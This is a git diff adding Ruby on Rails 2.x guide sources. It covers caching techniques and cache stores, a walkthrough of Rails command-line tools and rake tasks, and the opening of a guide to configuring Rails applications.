later, they will get the cached first page. Be careful when page caching GET parameters in the URL! + +h4. Action Caching + +One of the issues with Page Caching is that you cannot use it for pages that +require to restrict access somehow. This is where Action Caching comes in. +Action Caching works like Page Caching except for the fact that the incoming +web request does go from the webserver to the Rails stack and Action Pack so +that before filters can be run on it before the cache is served. This allows +authentication and other restriction to be run while still serving the +result of the output from a cached copy. + +Clearing the cache works in the exact same way as with Page Caching. + +Let's say you only wanted authenticated users to call actions on +ProductsController+. + +<ruby> +class ProductsController < ActionController + + before_filter :authenticate + caches_action :index + + def index + @products = Product.all + end + + def create + expire_action :action => :index + end + +end +</ruby> + +You can also use +:if+ (or +:unless+) to pass a Proc that specifies when the +action should be cached. Also, you can use +:layout => false+ to cache without +layout so that dynamic information in the layout such as logged in user info +or the number of items in the cart can be left uncached. This feature is +available as of Rails 2.2. + +You can modify the default action cache path by passing a +:cache_path+ option. +This will be passed directly to +ActionCachePath.path_for+. This is handy for +actions with multiple possible routes that should be cached differently. If +a block is given, it is called with the current controller instance. + +Finally, if you are using memcached, you can also pass +:expires_in+. In fact, +all parameters not used by +caches_action+ are sent to the underlying cache +store. + +h4. Fragment Caching + +Life would be perfect if we could get away with caching the entire contents of +a page or action and serving it out to the world. Unfortunately, dynamic web +applications usually build pages with a variety of components not all of which +have the same caching characteristics. In order to address such a dynamically +created page where different parts of the page need to be cached and expired +differently Rails provides a mechanism called Fragment Caching. + +Fragment Caching allows a fragment of view logic to be wrapped in a cache +block and served out of the cache store when the next request comes in. + +As an example, if you wanted to show all the orders placed on your website +in real time and didn't want to cache that part of the page, but did want +to cache the part of the page which lists all products available, you +could use this piece of code: + +<ruby> +<% Order.find_recent.each do |o| %> + <%= o.buyer.name %> bought <% o.product.name %> +<% end %> + +<% cache do %> + All available products: + <% Product.all.each do |p| %> + <%= link_to p.name, product_url(p) %> + <% end %> +<% end %> +</ruby> + +The cache block in our example will bind to the action that called it and is +written out to the same place as the Action Cache, which means that if you +want to cache multiple fragments per action, you should provide an +action_suffix+ to the cache call: + +<ruby> +<% cache(:action => 'recent', :action_suffix => 'all_products') do %> + All available products: +</ruby> + +and you can expire it using the +expire_fragment+ method, like so: + +<ruby> +expire_fragment(:controller => 'products', :action => 'recent', :action_suffix => 'all_products') +</ruby> + +If you don't want the cache block to bind to the action that called it, You can +also use globally keyed fragments by calling the +cache+ method with a key, like +so: + +<ruby> +<% cache('all_available_products') do %> + All available products: +<% end %> +</ruby> + +This fragment is then available to all actions in the +ProductsController+ using +the key and can be expired the same way: + +<ruby> +expire_fragment('all_available_products') +</ruby> + +h4. Sweepers + +Cache sweeping is a mechanism which allows you to get around having a ton of ++expire_{page,action,fragment}+ calls in your code. It does this by moving all the work +required to expire cached content into a +ActionController::Caching::Sweeper+ +class. This class is an Observer and looks for changes to an object via callbacks, +and when a change occurs it expires the caches associated with that object in +an around or after filter. + +Continuing with our Product controller example, we could rewrite it with a +sweeper like this: + +<ruby> +class ProductSweeper < ActionController::Caching::Sweeper + observe Product # This sweeper is going to keep an eye on the Product model + + # If our sweeper detects that a Product was created call this + def after_create(product) + expire_cache_for(product) + end + + # If our sweeper detects that a Product was updated call this + def after_update(product) + expire_cache_for(product) + end + + # If our sweeper detects that a Product was deleted call this + def after_destroy(product) + expire_cache_for(product) + end + + private + def expire_cache_for(product) + # Expire the index page now that we added a new product + expire_page(:controller => 'products', :action => 'index') + + # Expire a fragment + expire_fragment('all_available_products') + end +end +</ruby> + +You may notice that the actual product gets passed to the sweeper, so if we +were caching the edit action for each product, we could add a expire method +which specifies the page we want to expire: + +<ruby> + expire_action(:controller => 'products', :action => 'edit', :id => product) +</ruby> + +Then we add it to our controller to tell it to call the sweeper when certain +actions are called. So, if we wanted to expire the cached content for the +list and edit actions when the create action was called, we could do the +following: + +<ruby> +class ProductsController < ActionController + + before_filter :authenticate + caches_action :index + cache_sweeper :product_sweeper + + def index + @products = Product.all + end + +end +</ruby> + +h4. SQL Caching + +Query caching is a Rails feature that caches the result set returned by each +query so that if Rails encounters the same query again for that request, it +will used the cached result set as opposed to running the query against the +database again. + +For example: + +<ruby> +class ProductsController < ActionController + + def index + # Run a find query + @products = Product.all + + ... + + # Run the same query again + @products = Product.all + end + +end +</ruby> + +The second time the same query is run against the database, it's not actually +going to hit the database. The first time the result is returned from the query +it is stored in the query cache (in memory) and the second time it's pulled from memory. + +However, it's important to note that query caches are created at the start of an action and destroyed at the end of +that action and thus persist only for the duration of the action. If you'd like to store query results in a more +persistent fashion, you can in Rails by using low level caching. + +h4. Cache stores + +Rails (as of 2.1) provides different stores for the cached data created by action and +fragment caches. Page caches are always stored on disk. + +Rails 2.1 and above provide +ActiveSupport::Cache::Store+ which can be used to +cache strings. Some cache store implementations, like MemoryStore, are able to +cache arbitrary Ruby objects, but don't count on every cache store to be able +to do that. + +The default cache stores provided with Rails include: + +1) ActiveSupport::Cache::MemoryStore: A cache store implementation which stores +everything into memory in the same process. If you're running multiple Ruby on +Rails server processes (which is the case if you're using mongrel_cluster or +Phusion Passenger), then this means that your Rails server process instances +won't be able to share cache data with each other. If your application never +performs manual cache item expiry (e.g. when you‘re using generational cache +keys), then using +MemoryStore+ is ok. Otherwise, consider carefully whether you +should be using this cache store. + ++MemoryStore+ is not only able to store strings, but also arbitrary Ruby objects. + ++MemoryStore+ is not thread-safe. Use +SynchronizedMemoryStore+ instead if you +need thread-safety. + + +<ruby> +ActionController::Base.cache_store = :memory_store +</ruby> + +2) ActiveSupport::Cache::FileStore: Cached data is stored on the disk, this is +the default store and the default path for this store is: /tmp/cache. Works +well for all types of environments and allows all processes running from the +same application directory to access the cached content. If /tmp/cache does not +exist, the default store becomes MemoryStore. + + +<ruby> +ActionController::Base.cache_store = :file_store, "/path/to/cache/directory" +</ruby> + +3) ActiveSupport::Cache::DRbStore: Cached data is stored in a separate shared +DRb process that all servers communicate with. This works for all environments +and only keeps one cache around for all processes, but requires that you run +and manage a separate DRb process. + + +<ruby> +ActionController::Base.cache_store = :drb_store, "druby://localhost:9192" +</ruby> + +4) MemCached store: Works like DRbStore, but uses Danga's MemCache instead. +Rails uses the bundled memcached-client gem by default. This is currently the +most popular cache store for production websites. + +Special features: + * Clustering and load balancing. One can specify multiple memcached servers, + and MemCacheStore will load balance between all available servers. If a + server goes down, then MemCacheStore will ignore it until it goes back + online. + * Time-based expiry support. See +write+ and the +:expires_in+ option. + * Per-request in memory cache for all communication with the MemCache server(s). + +It also accepts a hash of additional options: + + * +:namespace+- specifies a string that will automatically be prepended to keys when accessing the memcached store. + * +:readonly+- a boolean value that when set to true will make the store read-only, with an error raised on any attempt to write. + * +:multithread+ - a boolean value that adds thread safety to read/write operations - it is unlikely you'll need to use this option as the Rails threadsafe! method offers the same functionality. + +The read and write methods of the MemCacheStore accept an options hash too. +When reading you can specify +:raw => true+ to prevent the object being marshaled +(by default this is false which means the raw value in the cache is passed to ++Marshal.load+ before being returned to you.) + +When writing to the cache it is also possible to specify +:raw => true+ means +the value is not passed to +Marshal.dump+ before being stored in the cache (by +default this is false). + +The write method also accepts an +:unless_exist+ flag which determines whether +the memcached add (when true) or set (when false) method is used to store the +item in the cache and an +:expires_in+ option that specifies the time-to-live +for the cached item in seconds. + + +<ruby> +ActionController::Base.cache_store = :mem_cache_store, "localhost" +</ruby> + +5) ActiveSupport::Cache::SynchronizedMemoryStore: Like ActiveSupport::Cache::MemoryStore but thread-safe. + + +<ruby> +ActionController::Base.cache_store = :synchronized_memory_store +</ruby> + +6) ActiveSupport::Cache::CompressedMemCacheStore: Works just like the regular +MemCacheStore but uses GZip to decompress/compress on read/write. + + +<ruby> +ActionController::Base.cache_store = :compressed_mem_cache_store, "localhost" +</ruby> + +7) Custom store: You can define your own cache store (new in Rails 2.1) + + +<ruby> +ActionController::Base.cache_store = MyOwnStore.new("parameter") +</ruby> + ++Note: +config.cache_store+ can be used in place of ++ActionController::Base.cache_store+ in your +Rails::Initializer.run+ block in ++environment.rb+ + +In addition to all of this, Rails also adds the +ActiveRecord::Base#cache_key+ +method that generates a key using the class name, +id+ and +updated_at+ timestamp (if available). + +You can access these cache stores at a low level for storing queries and other objects. Here's an example: + +<ruby> +Rails.cache.read("city") # => nil +Rails.cache.write("city", "Duckburgh") +Rails.cache.read("city") # => "Duckburgh" +</ruby> + +h3. Conditional GET support + +Conditional GETs are a feature of the HTTP specification that provide a way for web +servers to tell browsers that the response to a GET request hasn't changed +since the last request and can be safely pulled from the browser cache. + +They work by using the +HTTP_IF_NONE_MATCH+ and +HTTP_IF_MODIFIED_SINCE+ headers +to pass back and forth both a unique content identifier and the timestamp of +when the content was last changed. If the browser makes a request where the +content identifier (etag) or last modified since timestamp matches the server’s +version then the server only needs to send back an empty response with a not +modified status. + +It is the server's (i.e. our) responsibility to look for a last modified +timestamp and the if-none-match header and determine whether or not to send +back the full response. With conditional-get support in rails this is a pretty +easy task: + +<ruby> +class ProductsController < ApplicationController + + def show + @product = Product.find(params[:id]) + + # If the request is stale according to the given timestamp and etag value + # (i.e. it needs to be processed again) then execute this block + if stale?(:last_modified => @product.updated_at.utc, :etag => @product) + respond_to do |wants| + # ... normal response processing + end + end + + # If the request is fresh (i.e. it's not modified) then you don't need to do + # anything. The default render checks for this using the parameters + # used in the previous call to stale? and will automatically send a + # :not_modified. So that's it, you're done. +end +</ruby> + +If you don't have any special response processing and are using the default +rendering mechanism (i.e. you're not using respond_to or calling render +yourself) then you’ve got an easy helper in fresh_when: + +<ruby> +class ProductsController < ApplicationController + + # This will automatically send back a :not_modified if the request is fresh, + # and will render the default template (product.*) if it's stale. + + def show + @product = Product.find(params[:id]) + fresh_when :last_modified => @product.published_at.utc, :etag => @article + end +end +</ruby> + +h3. Advanced Caching + +Along with the built-in mechanisms outlined above, a number of excellent +plugins exist to help with finer grained control over caching. These include +Chris Wanstrath's excellent cache_fu plugin (more info "here": http://errtheblog.com/posts/57-kickin-ass-w-cachefu) and Evan Weaver's +interlock plugin (more info "here": http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/). Both +of these plugins play nice with memcached and are a must-see for anyone +seriously considering optimizing their caching needs. + +Also the new "Cache money":http://github.com/nkallen/cache-money/tree/master plugin is supposed to be mad cool. + +h3. References + +* "Scaling Rails Screencasts":http://railslab.newrelic.com/scaling-rails +* "RailsEnvy, Rails Caching Tutorial, Part 1":http://www.railsenvy.com/2007/2/28/rails-caching-tutorial +* "RailsEnvy, Rails Caching Tutorial, Part 1":http://www.railsenvy.com/2007/3/20/ruby-on-rails-caching-tutorial-part-2 +* "ActiveSupport::Cache documentation":http://api.rubyonrails.org/classes/ActiveSupport/Cache.html +* "Rails 2.1 integrated caching tutorial":http://thewebfellas.com/blog/2008/6/9/rails-2-1-now-with-better-integrated-caching + + +h3. Changelog +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/10-guide-to-caching + +April 1, 2009: Made a bunch of small fixes +February 22, 2009: Beefed up the section on cache_stores +December 27, 2008: Typo fixes +November 23, 2008: Incremental updates with various suggested changes and formatting cleanup +September 15, 2008: Initial version by Aditya Chadha diff --git a/railties/guides/source/command_line.textile b/railties/guides/source/command_line.textile new file mode 100644 index 0000000000..d042458419 --- /dev/null +++ b/railties/guides/source/command_line.textile @@ -0,0 +1,589 @@ +h2. A Guide to The Rails Command Line + +Rails comes with every command line tool you'll need to + +* Create a Rails application +* Generate models, controllers, database migrations, and unit tests +* Start a development server +* Mess with objects through an interactive shell +* Profile and benchmark your new creation + +NOTE: This tutorial assumes you have basic Rails knowledge from reading the "Getting Started with Rails Guide":getting_started.html. + +endprologue. + +h3. Command Line Basics + +There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are: + +* console +* server +* rake +* generate +* rails + +Let's create a simple Rails application to step through each of these commands in context. + +h4. +rails+ + +The first thing we'll want to do is create a new Rails application by running the +rails+ command after installing Rails. + +WARNING: You know you need the rails gem installed by typing +gem install rails+ first, right? Okay, okay, just making sure. + +<shell> +$ rails commandsapp + + create + create app/controllers + create app/helpers + create app/models + ... + ... + create log/production.log + create log/development.log + create log/test.log +</shell> + +Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box. + +INFO: This output will seem very familiar when we get to the +generate+ command. Creepy foreshadowing! + +h4. +server+ + +Let's try it! The +server+ command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to view your work through a web browser. + +INFO: WEBrick isn't your only option for serving Rails. We'll get to that in a later section. + +Without any prodding of any kind, +server+ will run our new shiny Rails app: + +<shell> +$ cd commandsapp +$ ./script/server +=> Booting WEBrick... +=> Rails 2.2.0 application started on http://0.0.0.0:3000 +=> Ctrl-C to shutdown server; call with --help for options +[2008-11-04 10:11:38] INFO WEBrick 1.3.1 +[2008-11-04 10:11:38] INFO ruby 1.8.5 (2006-12-04) [i486-linux] +[2008-11-04 10:11:38] INFO WEBrick::HTTPServer#start: pid=18994 port=3000 +</shell> + +WHOA. With just three commands we whipped up a Rails server listening on port 3000. Go! Go right now to your browser and go to http://localhost:3000. I'll wait. + +See? Cool! It doesn't do much yet, but we'll change that. + +h4. +generate+ + +The +generate+ command uses templates to create a whole lot of things. You can always find out what's available by running +generate+ by itself. Let's do that: + +<shell> +$ ./script/generate +Usage: ./script/generate generator [options] [args] + +... +... + +Installed Generators + Built-in: controller, integration_test, mailer, migration, model, observer, performance_test, plugin, resource, scaffold, session_migration + +... +... +</shell> + +NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own! + +Using generators will save you a large amount of time by writing *boilerplate code* for you -- necessary for the darn thing to work, but not necessary for you to spend time writing. That's what we have computers for, right? + +Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator: + +INFO: All Rails console utilities have help text. As with most *NIX utilities, you can try adding +--help+ or +-h+ to the end, for example +./script/server --help+. + +<shell> +$ ./script/generate controller +Usage: ./script/generate controller ControllerName [options] + +... +... + +Example: + ./script/generate controller CreditCard open debit credit close + + Credit card controller with URLs like /credit_card/debit. + Controller: app/controllers/credit_card_controller.rb + Views: app/views/credit_card/debit.html.erb [...] + Helper: app/helpers/credit_card_helper.rb + Test: test/functional/credit_card_controller_test.rb + +Modules Example: + ./script/generate controller 'admin/credit_card' suspend late_fee + + Credit card admin controller with URLs /admin/credit_card/suspend. + Controller: app/controllers/admin/credit_card_controller.rb + Views: app/views/admin/credit_card/debit.html.erb [...] + Helper: app/helpers/admin/credit_card_helper.rb + Test: test/functional/admin/credit_card_controller_test.rb +</shell> + +Ah, the controller generator is expecting parameters in the form of +generate controller ControllerName action1 action2+. Let's make a +Greetings+ controller with an action of *hello*, which will say something nice to us. + +<shell> +$ ./script/generate controller Greetings hello + exists app/controllers/ + exists app/helpers/ + create app/views/greetings + exists test/functional/ + create app/controllers/greetings_controller.rb + create test/functional/greetings_controller_test.rb + create app/helpers/greetings_helper.rb + create app/views/greetings/hello.html.erb +</shell> + +Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file. + +Let's check out the controller and modify it a little (in +app/controllers/greetings_controller.rb+): + +<ruby> +class GreetingsController < ApplicationController + def hello + @message = "Hello, how are you today? I am exuberant!" + end + +end +</ruby> + +Then the view, to display our nice message (in +app/views/greetings/hello.html.erb+): + +<html> +<h1>A Greeting for You!</h1> +<p><%= @message %></p> +</html> + +Deal. Go check it out in your browser. Fire up your server. Remember? +./script/server+ at the root of your Rails application should do it. + +<shell> +$ ./script/server +=> Booting WEBrick... +</shell> + +WARNING: Make sure that you do not have any "tilde backup" files in +app/views/(controller)+, or else WEBrick will _not_ show the expected output. This seems to be a *bug* in Rails 2.3.0. + +The URL will be +http://localhost:3000/greetings/hello+. I'll wait for you to be suitably impressed. + +INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the *index* action of that controller. + +"What about data, though?", you ask over a cup of coffee. Rails comes with a generator for data models too. Can you guess its generator name? + +<shell> +$ ./script/generate model +Usage: ./script/generate model ModelName [field:type, field:type] + +... + +Examples: + ./script/generate model account + + creates an Account model, test, fixture, and migration: + Model: app/models/account.rb + Test: test/unit/account_test.rb + Fixtures: test/fixtures/accounts.yml + Migration: db/migrate/XXX_add_accounts.rb + + ./script/generate model post title:string body:text published:boolean + + creates a Post model with a string title, text body, and published flag. +</shell> + +But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A *scaffold* in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above. + +Let's set up a simple resource called "HighScore" that will keep track of our highest score on video games we play. + +<shell> +$ ./script/generate scaffold HighScore game:string score:integer + exists app/models/ + exists app/controllers/ + exists app/helpers/ + create app/views/high_scores + create app/views/layouts/ + exists test/functional/ + create test/unit/ + create public/stylesheets/ + create app/views/high_scores/index.html.erb + create app/views/high_scores/show.html.erb + create app/views/high_scores/new.html.erb + create app/views/high_scores/edit.html.erb + create app/views/layouts/high_scores.html.erb + create public/stylesheets/scaffold.css + create app/controllers/high_scores_controller.rb + create test/functional/high_scores_controller_test.rb + create app/helpers/high_scores_helper.rb + route map.resources :high_scores +dependency model + exists app/models/ + exists test/unit/ + create test/fixtures/ + create app/models/high_score.rb + create test/unit/high_score_test.rb + create test/fixtures/high_scores.yml + exists db/migrate + create db/migrate/20081217071914_create_high_scores.rb +</shell> + +Taking it from the top - the generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the +high_scores+ table and fields), takes care of the route for the *resource*, and new tests for everything. + +The migration requires that we *migrate*, that is, run some Ruby code (living in that +20081217071914_create_high_scores.rb+) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the +rake db:migrate+ command. We'll talk more about Rake in-depth in a little while. + +CAUTION: Hey. Install the sqlite3-ruby gem while you're at it. +gem install sqlite3-ruby+ + +<shell> +$ rake db:migrate +(in /home/commandsapp) + CreateHighScores: migrating + create_table(:high_scores) + -> 0.0070s + CreateHighScores: migrated (0.0077s) +</shell> + +INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment. + +Let's see the interface Rails created for us. ./script/server; http://localhost:3000/high_scores + +We can create new high scores (55,160 on Space Invaders!) + +h4. +console+ + +The +console+ command lets you interact with your Rails application from the command line. On the underside, +script/console+ uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website. + +h4. +dbconsole+ + ++dbconsole+ figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3. + +h4. +plugin+ + +The +plugin+ command simplifies plugin management; think a miniature version of the Gem utility. Let's walk through installing a plugin. You can call the sub-command *discover*, which sifts through repositories looking for plugins, or call *source* to add a specific repository of plugins, or you can specify the plugin location directly. + +Let's say you're creating a website for a client who wants a small accounting system. Every event having to do with money must be logged, and must never be deleted. Wouldn't it be great if we could override the behavior of a model to never actually take its record out of the database, but *instead*, just set a field? + +There is such a thing! The plugin we're installing is called "acts_as_paranoid", and it lets models implement a "deleted_at" column that gets set when you call destroy. Later, when calling find, the plugin will tack on a database check to filter out "deleted" things. + +<shell> +$ ./script/plugin install http://svn.techno-weenie.net/projects/plugins/acts_as_paranoid ++ ./CHANGELOG ++ ./MIT-LICENSE +... +... +</shell> + +h4. +runner+ + +<tt>runner</tt> runs Ruby code in the context of Rails non-interactively. For instance: + +<shell> +$ ./script/runner "Model.long_running_method" +</shell> + +h4. +destroy+ + +Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it. Believe you-me, the creation of this tutorial used this command many times! + +<shell> +$ ./script/generate model Oops + exists app/models/ + exists test/unit/ + exists test/fixtures/ + create app/models/oops.rb + create test/unit/oops_test.rb + create test/fixtures/oops.yml + exists db/migrate + create db/migrate/20081221040817_create_oops.rb +$ ./script/destroy model Oops + notempty db/migrate + notempty db + rm db/migrate/20081221040817_create_oops.rb + rm test/fixtures/oops.yml + rm test/unit/oops_test.rb + rm app/models/oops.rb + notempty test/fixtures + notempty test + notempty test/unit + notempty test + notempty app/models + notempty app +</shell> + +h4. +about+ + +Check it: Version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version! +about+ is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation. + +<shell> +$ ./script/about +About your application's environment +Ruby version 1.8.6 (i486-linux) +RubyGems version 1.3.1 +Rails version 2.2.0 +Active Record version 2.2.0 +Action Pack version 2.2.0 +Active Resource version 2.2.0 +Action Mailer version 2.2.0 +Active Support version 2.2.0 +Edge Rails revision unknown +Application root /home/commandsapp +Environment development +Database adapter sqlite3 +Database schema version 20081217073400 +</shell> + +h3. The Rails Advanced Command Line + +The more advanced uses of the command line are focused around finding useful (even surprising at times) options in the utilities, and fitting utilities to your needs and specific work flow. Listed here are some tricks up Rails' sleeve. + +h4. Rails with Databases and SCM + +When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes. + +Let's see what a +--git+ option and a +--database=postgresql+ option will do for us: + +<shell> +$ mkdir gitapp +$ cd gitapp +$ git init +Initialized empty Git repository in .git/ +$ rails . --git --database=postgresql + exists + create app/controllers + create app/helpers +... +... + create tmp/cache + create tmp/pids + create Rakefile +add 'Rakefile' + create README +add 'README' + create app/controllers/application_controller_.rb +add 'app/controllers/application_controller_.rb' + create app/helpers/application_helper.rb +... + create log/test.log +add 'log/test.log' +</shell> + +We had to create the *gitapp* directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration: + +<shell> +$ cat config/database.yml +# PostgreSQL. Versions 7.4 and 8.x are supported. +# +# Install the ruby-postgres driver: +# gem install ruby-postgres +# On Mac OS X: +# gem install ruby-postgres -- --include=/usr/local/pgsql +# On Windows: +# gem install ruby-postgres +# Choose the win32 build. +# Install PostgreSQL and put its /bin directory on your path. +development: + adapter: postgresql + encoding: unicode + database: gitapp_development + pool: 5 + username: gitapp + password: +... +... +</shell> + +It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the +rails+ command to generate the basis of your app. + +h4. +server+ with Different Backends + +Many people have created a large number different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!). + +NOTE: For more details on the Rack integration, see "Rails on Rack":rails_on_rack.html. + +To use a different server, just install its gem, then use its name for the first parameter to +script/server+: + +<shell> +$ sudo gem install mongrel +Building native extensions. This could take a while... +Building native extensions. This could take a while... +Successfully installed gem_plugin-0.2.3 +Successfully installed fastthread-1.0.1 +Successfully installed cgi_multipart_eof_fix-2.5.0 +Successfully installed mongrel-1.1.5 +... +... +Installing RDoc documentation for mongrel-1.1.5... +$ script/server mongrel +=> Booting Mongrel (use 'script/server webrick' to force WEBrick) +=> Rails 2.2.0 application starting on http://0.0.0.0:3000 +... +</shell> + +h4. The Rails Generation: Generators + +INFO: For a good rundown on generators, see "Understanding Generators":http://wiki.rubyonrails.org/rails/pages/UnderstandingGenerators. A lot of its material is presented here. + +Generators are code that generates code. Let's experiment by building one. Our generator will generate a text file. + +The Rails generator by default looks in these places for available generators, where RAILS_ROOT is the root of your Rails application, like /home/foobar/commandsapp: + +* RAILS_ROOT/lib/generators +* RAILS_ROOT/vendor/generators +* Inside any plugin with a directory like "generators" or "rails_generators" +* ~/.rails/generators +* Inside any Gem you have installed with a name ending in "_generator" +* Inside *any* Gem installed with a "rails_generators" path, and a file ending in "_generator.rb" +* Finally, the builtin Rails generators (controller, model, mailer, etc.) + +Let's try the fourth option (in our home directory), which will be easy to clean up later: + +<shell> +$ mkdir -p ~/.rails/generators/tutorial_test/templates +$ touch ~/.rails/generators/tutorial_test/templates/tutorial.erb +$ touch ~/.rails/generators/tutorial_test/tutorial_test_generator.rb +</shell> + +We'll fill +tutorial_test_generator.rb+ out with: + +<ruby> +class TutorialTestGenerator < Rails::Generator::Base + def initialize(*runtime_args) + super(*runtime_args) + @tut_args = runtime_args + end + + def manifest + record do |m| + m.directory "public" + m.template "tutorial.erb", File.join("public", "tutorial.txt"), + :assigns => { :args => @tut_args } + end + end +end +</ruby> + +We take whatever args are supplied, save them to an instance variable, and literally copying from the Rails source, implement a +manifest+ method, which calls +record+ with a block, and we: + +* Check there's a *public* directory. You bet there is. +* Run the ERb template called "tutorial.erb". +* Save it into "RAILS_ROOT/public/tutorial.txt". +* Pass in the arguments we saved through the +:assign+ parameter. + +Next we'll build the template: + +<shell> +$ cat ~/.rails/generators/tutorial_test/templates/tutorial.erb +I'm a template! + +I got assigned some args: +<%= require 'pp'; PP.pp(args, "") %> +</shell> + +Then we'll make sure it got included in the list of available generators: + +<shell> +$ ./script/generate +... +... +Installed Generators + User: tutorial_test +</shell> + +SWEET! Now let's generate some text, yeah! + +<shell> +$ ./script/generate tutorial_test arg1 arg2 arg3 + exists public + create public/tutorial.txt +</shell> + +And the result: + +<shell> +$ cat public/tutorial.txt +I'm a template! + +I got assigned some args: +[["arg1", "arg2", "arg3"], + {:collision=>:ask, + :quiet=>false, + :generator=>"tutorial_test", + :command=>:create}] +</shell> + +Tada! + +h4. Rake is Ruby Make + +Rake is a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and +.rake+ files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other. + +You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing +rake --tasks+. Each task has a description, and should help you find the thing you need. + +<shell> + rake --tasks +(in /home/developer/commandsapp) +rake db:abort_if_pending_migrations # Raises an error if there are pending migrations +rake db:charset # Retrieves the charset for the current environment's database +rake db:collation # Retrieves the collation for the current environment's database +rake db:create # Create the database defined in config/database.yml for the current RAILS_ENV +... +... +rake tmp:pids:clear # Clears all files in tmp/pids +rake tmp:sessions:clear # Clears all files in tmp/sessions +rake tmp:sockets:clear # Clears all files in tmp/sockets +</shell> + +Let's take a look at some of these 80 or so rake tasks. + +h5. +db:+ Database + +The most common tasks of the +db:+ Rake namespace are +migrate+ and +create+, and it will pay off to try out all of the migration rake tasks (+up+, +down+, +redo+, +reset+). +rake db:version+ is useful when troubleshooting, telling you the current version of the database. + +h5. +doc:+ Documentation + +If you want to strip out or rebuild any of the Rails documentation (including this guide!), the +doc:+ namespace has the tools. Stripping documentation is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform. + +h5. +gems:+ Ruby gems + +You can specify which gems your application uses, and +rake gems:install+ will install them for you. Look at your environment.rb to learn how with the *config.gem* directive. + +NOTE: +gems:unpack+ will unpack, that is internalize your application's Gem dependencies by copying the Gem code into your vendor/gems directory. By doing this you increase your codebase size, but simplify installation on new hosts by eliminating the need to run +rake gems:install+, or finding and installing the gems your application uses. + +h5. +notes:+ Code note enumeration + +These tasks will search through your code for commented lines beginning with "FIXME", "OPTIMIZE", "TODO", or any custom annotation (like XXX) and show you them. + +h5. +rails:+ Rails-specific tasks + +In addition to the +gems:unpack+ task above, you can also unpack the Rails backend specific gems into vendor/rails by calling +rake rails:freeze:gems+, to unpack the version of Rails you are currently using, or +rake rails:freeze:edge+ to unpack the most recent (cutting, bleeding edge) version. + +When you have frozen the Rails gems, Rails will prefer to use the code in vendor/rails instead of the system Rails gems. You can "thaw" by running +rake rails:unfreeze+. + +After upgrading Rails, it is useful to run +rails:update+, which will update your config and scripts directories, and upgrade your Rails-specific javascript (like Scriptaculous). + +h5. +test:+ Rails tests + +INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html + +Rails comes with a test suite called Test::Unit. It is through the use of tests that Rails itself is so stable, and the slew of people working on Rails can prove that everything works as it should. + +The +test:+ namespace helps in running the different tests you will (hopefully!) write. + +h5. +time:+ Timezones + +You can list all the timezones Rails knows about with +rake time:zones:all+, which is useful just in day-to-day life. + +h5. +tmp:+ Temporary files + +The tmp directory is, like in the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. The +tmp:+ namespace tasks will help you clear them if you need to if they've become overgrown, or create them in case of an +rm -rf *+ gone awry. + +h5. Miscellaneous Tasks + + +rake stats+ is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio. + + +rake secret+ will give you a psuedo-random key to use for your session secret. + + +rake routes+ will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with. + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/29 diff --git a/railties/guides/source/configuring.textile b/railties/guides/source/configuring.textile new file mode 100644 index 0000000000..d97ed56eaf --- /dev/null +++ b/railties/guides/source/configuring.textile @@ -0,0 +1,234 @@ +h2. Configuring Rails Applications + +This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to: + +* Adjust the behavior of your Rails applications +* Add additional code to be run at application start time + +endprologue. + + +h3. Locations for Initialization Code + +Rails offers (at least) five good spots to place initialization code: + +* Preinitializers +* environment.rb +* Environment-specific Configuration Files +* Initializers (load_application_initializers) +* After-Initializers + +h3. Using a Preinitializer + +Rails allows you to use a preinitializer to run code before the framework itself is loaded. If you save code in +RAILS_ROOT/config/preinitializer.rb+, that code will be the first thing loaded, before any of the framework components (Active Record, Action Pack, and so on.) If you want 